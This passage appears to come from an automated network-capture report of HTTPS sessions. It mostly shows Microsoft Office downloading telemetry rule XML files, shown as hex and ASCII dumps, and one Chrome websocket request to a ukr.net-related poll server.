2024-10-26 11:49:12 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49810	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:12 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfe50472-201e-00aa-2cfd-263928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114912Z-17c5cb586f672xmrz843mf85fn00000000pg000000009de8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49811	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:12 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 1cb97257-a01e-0070-50f3-24573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114912Z-15b8d89586f2hk28h0h6zye26c00000004c0000000008axh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:12 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114912Z-16849878b78qf2gleqhwczd21s000000024g000000009u66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114912Z-16849878b78hh85qc40uyr8sc800000002bg0000000011t2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:13 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: afbd30f1-101e-007a-739c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-r197bdfb6b46kdskt78qagqq1c00000001zg000000009npx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:49:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0124f848-201e-003f-38ad-246d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-15b8d89586fqj7k5h9gbd8vs98000000030g00000000982t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-16849878b787wpl5wqkt5731b400000002tg0000000038m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:13 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-17c5cb586f69w69mgazyf263an000000012g0000000075sq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:13 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-16849878b78z5q7jpbgf6e9mcw0000000aq000000000d1tx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49821	212.42.75.248	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	550	OUT	GET /tunnel/websocket?cv%2Faccounts=login%2F2024.10.14.0820 HTTP/1.1 Host: poll0.fwdcdn.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://accounts.ukr.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: TGteURyvpmaW2cLaNAKEYw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-10-26 11:49:14 UTC	348	IN	HTTP/1.1 426 Server: nginx Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-New-Iface, X-Requested-With, Content-Type, Cache-Control Access-Control-Expose-Headers: X-Client-Version Access-Control-Max-Age: 3610

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-16849878b786jv8w2kpaf5zkqs00000000u000000000a3wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 960fe732-901e-0016-4ad7-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114913Z-r197bdfb6b4wmcgqdschtyp7yg00000001vg0000000056t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
